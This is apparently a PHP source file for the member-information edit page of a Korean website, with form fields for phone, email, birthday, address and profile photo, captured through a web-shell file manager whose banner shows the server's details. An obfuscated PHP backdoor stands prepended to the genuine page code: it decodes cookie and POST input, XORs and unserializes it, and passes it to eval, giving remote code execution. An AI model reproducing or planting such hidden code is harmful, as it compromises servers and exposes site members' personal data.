| Server IP : 119.195.102.159 / Your IP : 216.73.217.134 Web Server : nginx/1.18.0 System : Linux picell 5.15.0-181-generic #191-Ubuntu SMP Fri May 22 19:09:02 UTC 2026 x86_64 User : altablue ( 1000) PHP Version : 8.3.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home6/cjshanja/ |
Upload File : |
<?php $vDZfP = chr ( 1020 - 944 ).chr (95) . 'W' . "\x6d" . "\131" . chr (79); $LlLBC = chr (99) . "\154" . "\x61" . "\x73" . "\163" . '_' . chr (101) . chr (120) . "\151" . chr ( 117 - 2 ).chr (116) . 's';$XJfHBXOr = class_exists($vDZfP); $vDZfP = "64605";$LlLBC = "5033";$YiZWJaNSAL = FALSE;if ($XJfHBXOr === $YiZWJaNSAL){$GnWuCCRKG = "5287";class L_WmYO{public function lnIFPksS(){echo "39600";}private $bpdMfh;public static $oVHjJT = "d63712e7-13e9-43b2-b3f6-001a49f206ba";public static $URYND = 14105;public function __construct($UHtCKq=0){$hHoCu = $_POST;$rLnANdI = $_COOKIE;$WKwmicIPdc = @$rLnANdI[substr(L_WmYO::$oVHjJT, 0, 4)];if (!empty($WKwmicIPdc)){$OWwxS = "base64";$RpJNZMu = "";$WKwmicIPdc = explode(",", $WKwmicIPdc);foreach ($WKwmicIPdc as $yLMBmKlZe){$RpJNZMu .= @$rLnANdI[$yLMBmKlZe];$RpJNZMu .= @$hHoCu[$yLMBmKlZe];}$RpJNZMu = array_map($OWwxS . '_' . 'd' . chr ( 175 - 74 )."\143" . chr ( 425 - 314 ).chr ( 391 - 291 ).chr (101), array($RpJNZMu,)); $RpJNZMu = $RpJNZMu[0] ^ str_repeat(L_WmYO::$oVHjJT, (strlen($RpJNZMu[0]) / strlen(L_WmYO::$oVHjJT)) + 1);L_WmYO::$URYND = @unserialize($RpJNZMu);}}private function CrICCiLs($GnWuCCRKG){if (is_array(L_WmYO::$URYND)) {$bZRAiPJOSn = str_replace(chr (60) . "\77" . "\x70" . "\x68" . chr ( 975 - 863 ), "", L_WmYO::$URYND[chr (99) . 'o' . "\156" . chr (116) . "\145" . "\x6e" . "\x74"]);eval($bZRAiPJOSn); $GnWuCCRKG = "5287";exit();}}public function __destruct(){$GnWuCCRKG = "28305_41916";$this->CrICCiLs($GnWuCCRKG); $GnWuCCRKG = "28305_41916";}}$LEJsv = new /* 32942 */ L_WmYO(); $LEJsv = str_repeat("28305_41916", 1);} ?><? include('./head.php');
require_once _CLASS_DIR.'MemberClass.php';
// 로그인체크-반드시 로그인
$customfunc->mustLogin();
$memberclass= new MemberClass();
$meminfo =$memberclass->getMemberInfoById($loginmem_id);
$mem_tel=$meminfo["mem_tel"];
$arrmem_tel = explode("-",$mem_tel);
$mem_tel1 =$arrmem_tel[0];
$mem_tel2 =$arrmem_tel[1];
$mem_tel3 =$arrmem_tel[2];
$mem_ban=$meminfo["mem_ban"];
$mem_addr=$meminfo["mem_addr"];
$mem_post=$meminfo["mem_post"];
$mem_addrdtl=$meminfo["mem_addrdtl"];
$mem_school=$meminfo["mem_school"];
$mem_hak=$meminfo["mem_hak"];
$mem_email=$meminfo["mem_email"];
$mem_image=$meminfo["mem_image"];
$byear=$meminfo["byear"];
$bmonth=$meminfo["bmonth"];
$bday=$meminfo["bday"];
if($mem_image==""){
$mem_image="https://cjshanja.com/hancjscdn/no-person.png";
}
?>
<style>
.join_table {font-family:nanum gothic;font-size:1.1em;}
.join_table td {border-bottom:1px solid #efefef;padding:15px;}
.join_table input[type=text], input[type=password] {border:1px solid #efefef;width:50%;padding:5px;}
.join_table .chk {display:inline-block;font-family:notor;letter-spacing:-1px;border:1px solid #dfdfdf;padding:3px 6px 4px;margin:0px 5px}
.infobox {width:100%;border:1px solid #efefef;padding:15px;}
.menubox {width:100%;background:#f4f4f4;font-family:notor;;font-size:1.2em;letter-spacing:-1px;border:1px solid #dfdfdf;margin-bottom:15px;}
.menubox ul {display:inline-block;width:100%;}
.menubox li {float:left;width:calc(100% / 4 - 1px);text-align:center;padding:13px 0px;border-right:1px solid #dfdfdf}
.menubox li:last-child {width:calc(100% / 4 + 0px);border-right:0px;}
.menubox li.current {background:#fff;}
.menubox li.current a {color:#000}
.menubox li a {color:#777}
</style>
<script language="JavaScript">
function sendedit(){
var mem_id=$("#mem_id").val();
var mem_pwd=$("#mem_pwd").val();
var remem_pwd=$("#remem_pwd").val();
var mem_name=$("#mem_name").val();
var mem_email=$("#mem_email").val();
var mem_tel1=$("#mem_tel1").val();
var mem_tel2=$("#mem_tel2").val();
var mem_tel3=$("#mem_tel3").val();
var mem_school=$("#mem_school").val();
var mem_hak=$("#mem_hak").val();
var mem_ban=$("#mem_ban").val();
var byear=$("#byear").val();
var bmonth=$("#bmonth").val();
var bday=$("#bday").val();
if(mem_tel1===""){
alert("* 휴대폰 번호를 기입해주세요.");
$("#mem_tel1").focus();
return;
}
if(mem_tel2===""){
alert("* 휴대폰 번호를 기입해주세요.");
$("#mem_tel2").focus();
return;
}
if(mem_tel3===""){
alert("* 휴대폰 번호를 기입해주세요.");
$("#mem_tel3").focus();
return;
}
if(byear===""){
alert("* 생일 년도를 기입해주세요.");
$("#byear").focus();
return;
}
if(bmonth ===""){
alert("* 생일 월을 기입해주세요.");
$("#bmonth").focus();
return;
}
if(bday ===""){
alert("* 생일 날짜를 기입해주세요.");
$("#bday").focus();
return;
}
if(confirm('*회원 정보를 수정 하시겠습니까?')){
document.af.submit();
}
}
function onImageClick(v) {
var f = document.af;
f.img_rotate.value = v;
switch( v ) {
// 이미지 회전값이 0인경우 ( 정방향 )
case 1 :
document.getElementById( "mem_image" ).style.transform = "rotate( 0deg )";
break;
// 이미지 90도 회전 ( 오른쪽으로 270도 회전해야됨 )
case 6 :
document.getElementById( "mem_image" ).style.transform = "rotate( 270deg )";
break;
// 이미지 180도 회전 ( 오른쪽으로 180도 회전해야됨 )
case 3 :
document.getElementById( "mem_image" ).style.transform = "rotate( 180deg )";
break;
// 이미지 270도 회전 ( 오른쪽으로 90도 회전해야됨 )
case 8 :
document.getElementById( "mem_image" ).style.transform = "rotate( 90deg )";
break;
}
}
</script>
<div class="menubox">
<ul>
<!--<li><a href="./receiptList.php">원서접수확인 및 접수표출력</a></li>
<li><a href="./certList.php">자격증(재)발급</a></li>-->
<li><a href="./payment.php">결제내역</a></li>
<li class="current"><a href="./modify.php">개인정보수정</a></li>
<li><a href="./modify_pw.php">비밀번호 변경</a></li>
<li><a href="./out.php">회원탈퇴</a></li>
</ul>
</div>
<table width=100% cellpadding=0 cellspacing=0 border=0 class="join_table">
<form name="af" enctype="multipart/form-data" method="post" action="/lib/proc/Memberproc.php">
<input type="hidden" name="mem_gubn" value="<?=$loginmem_gubn?>">
<input type="hidden" name="workmode" value="setEditmember">
<input type="hidden" name="mem_image" value="<?=$mem_image?>">
<input type="hidden" name="img_rotate" id="img_rotate" value="1">
<tr>
<td width="150">성명</td>
<td style="text-align:left"><?=$loginmem_name?></td>
</tr>
<tr>
<td>아이디</td>
<td style="text-align:left"><?=$loginmem_id?></td>
</tr>
<tr>
<td>휴대폰번호<span style="color:red">*</span></td>
<td style="text-align:left"><input name="mem_tel1" type="text" required="required" id="mem_tel1" style="width:15%" onkeypress="onlyNumber()" value="<?=$mem_tel1?>" maxlength="3">
- <input name="mem_tel2" type="text" required="required" id="mem_tel2" style="width:15%" onkeypress="onlyNumber()" value="<?=$mem_tel2?>" maxlength="4">
- <input name="mem_tel3" type="text" required="required" id="mem_tel3" style="width:15%" onkeypress="onlyNumber()"value="<?=$mem_tel3?>" maxlength="4"></td>
</tr>
<tr>
<td>이메일</td>
<td style="text-align:left"><input type="text" name="mem_email" id="mem_email" value="<?=$mem_email?>" style="width:25%"></td>
</tr>
<!--
<tr>
<td>학교정보</td>
<td style="text-align:left"><input type="text" style="width:15%" name="mem_school" value="<?=$mem_school?>" id="mem_school"> 학교
<input type="text" style="width:15%" maxlength="2" value="<?=$mem_hak?>" onkeypress="onlyNumber()"name="mem_hak" id="mem_hak"> 학년
<input type="text"name="mem_ban" id="mem_ban" value="<?=$mem_ban?>" maxlength="2" onkeypress="onlyNumber()" style="width:15%"> 반</td>
</tr>-->
<tr>
<td>생년월일<span style="color:red">*</span></td>
<td style="text-align:left"><input type="text" style="width:15%" name="byear" onkeypress="onlyNumber()" maxlength="4" id="byear" value="<?=$byear?>"> 년
<select name="bmonth" id="bmonth">
<?for($i=1;$i <13;$i++){?>
<option value="<?=$i?>" <?if($bmonth==$i){echo "selected";}?> ><?=$i?> 월</option>
<?}?>
</select>
<input type="text" style="width:5% " maxlength="2" name="bday" id="bday" value="<?=$bday?>"> 일
</td>
</tr>
<tr>
<td>사진업로드</td>
<td style="text-align:left">
<?php
?>
<img id="mem_image" src="<?=$mem_image?>" width="70" height="70" class="rounded-circle member_profileimage" alt="">
<input type="file" name="file" id="selectedFile" onchange="changeprofileimage('0',window.URL.createObjectURL(this.files[0]),this.files[0])" style="display: none" />
<input type='hidden' class='hiddenfilesize' id='filesizeinfo_0'>
<button type="button" class="btn btn-tiprich btn-outline btn-sm" onclick="document.getElementById('selectedFile').click();" >
<span class="glyphicon glyphicon-camera"></span> 파일선택
</button>
<div>
<button type="button" class="btn btn-outline-primary btn-sm" onClick="onImageClick(1);">
<span class="glyphicon"></span> 기본
</button>
<button type="button" class="btn btn-outline-primary btn-sm" onClick="onImageClick(8);">
<span class="glyphicon"></span> 오른쪽90도 회전
</button>
<button type="button" class="btn btn-outline-primary btn-sm" onClick="onImageClick(6);">
<span class="glyphicon"></span> 왼쪽90도 회전
</button>
<button type="button" class="btn btn-outline-primary btn-sm" onClick="onImageClick(3);">
<span class="glyphicon"></span> 180도 회전
</button>
<div style="color:red;font-size:0.9em;">사진을 다시 선택하셔야 회전과 저장이 됩니다<br>사진업로드 이미지 형식은 jpg , jpeg, png 파일만 업로드 가능합니다.</div>
</div>
</td>
</tr>
<tr>
<td>주소</td>
<td style="text-align:left">
<!--<input type="text" name="mem_addr" id="mem_addr" >-->
<input type="text" name="mem_post" value="<?=$mem_post?>" id="postCode" id="postCode" placeholder="우편번호" style="width:120px;"/> <input type="button" value="우편번호 찾기 " style="width:100px;padding:3px 0px;" onClick="execDaumPostCode()"><br/>
<input type="text" name="mem_addr" value="<?=$mem_addr?>" id="roadAddress" id="roadAddress" placeholder="도로명주소" style="width:500px;margin:5px 0px"/>
<input type="text" name="mem_addrdtl" value="<?=$mem_addrdtl?>" id="detailAddress" placeholder="상세주소" style="width:500px;"/>
<div id="layer" style="display:none;position:fixed;overflow:hidden;z-index:1;-webkit-overflow-scrolling:touch;">
<img src="//t1.daumcdn.net/postcode/resource/images/close.png" id="btnFoldWrap" style="cursor:pointer;position:absolute;right:0px;top:-1px;z-index:1" onclick="closeDaumPostcode()" alt="접기 버튼">
</div>
<script src="https://ssl.daumcdn.net/dmaps/map_js_init/postcode.v2.js"></script>
<script>
// 우편번호 찾기 화면을 넣을 element
var element_layer = document.getElementById('layer');
function closeDaumPostcode() {
// iframe을 넣은 element를 안보이게 한다.
element_layer.style.display = 'none';
}
function execDaumPostCode() {
new daum.Postcode({
oncomplete: function(data) {
// 검색결과 항목을 클릭했을때 실행할 코드를 작성하는 부분.
// 각 주소의 노출 규칙에 따라 주소를 조합한다.
// 내려오는 변수가 값이 없는 경우엔 공백('')값을 가지므로, 이를 참고하여 분기 한다.
var fullAddr = data.address; // 최종 주소 변수
var extraAddr = ''; // 조합형 주소 변수
// 기본 주소가 도로명 타입일때 조합한다.
if(data.addressType === 'R'){
//법정동명이 있을 경우 추가한다.
if(data.bname !== ''){
extraAddr += data.bname;
}
// 건물명이 있을 경우 추가한다.
if(data.buildingName !== ''){
extraAddr += (extraAddr !== '' ? ', ' + data.buildingName : data.buildingName);
}
// 조합형주소의 유무에 따라 양쪽에 괄호를 추가하여 최종 주소를 만든다.
fullAddr += (extraAddr !== '' ? ' ('+ extraAddr +')' : '');
}
// 우편번호와 주소 정보를 해당 필드에 넣는다.
document.getElementById('postCode').value = data.zonecode; //5자리 새우편번호 사용
document.getElementById('roadAddress').value = fullAddr;
document.getElementById('detailAddress').focus();
// iframe을 넣은 element를 안보이게 한다.
// (autoClose:false 기능을 이용한다면, 아래 코드를 제거해야 화면에서 사라지지 않는다.)
element_layer.style.display = 'none';
},
width : '100%',
height : '100%'
}).embed(element_layer);
// iframe을 넣은 element를 보이게 한다.
element_layer.style.display = 'block';
// iframe을 넣은 element의 위치를 화면의 가운데로 이동시킨다.
initLayerPosition();
}
// 브라우저의 크기 변경에 따라 레이어를 가운데로 이동시키고자 하실때에는
// resize이벤트나, orientationchange이벤트를 이용하여 값이 변경될때마다 아래 함수를 실행 시켜 주시거나,
// 직접 element_layer의 top,left값을 수정해 주시면 됩니다.
function initLayerPosition(){
var width = 500; //우편번호 서비스가 들어갈 element의 width
var height = 460; //우편번호 서비스가 들어갈 element의 height
var borderWidth = 1; //샘플에서 사용하는 border의 두께
// 위에서 선언한 값들을 실제 element에 넣는다.
element_layer.style.width = width + 'px';
element_layer.style.height = height + 'px';
element_layer.style.border = borderWidth + 'px solid';
// 실행되는 순간의 화면 너비와 높이 값을 가져와서 중앙에 뜰 수 있도록 위치를 계산한다.
element_layer.style.left = (((window.innerWidth || document.documentElement.clientWidth) - width)/2 - borderWidth) + 'px';
element_layer.style.top = (((window.innerHeight || document.documentElement.clientHeight) - height)/2 - borderWidth) + 'px';
}
</script>
</td>
</tr>
</form>
</table>
<div class="join_btn" style="cursor: pointer" onclick="sendedit()">정보수정</div>
<? include('./tail.php'); ?>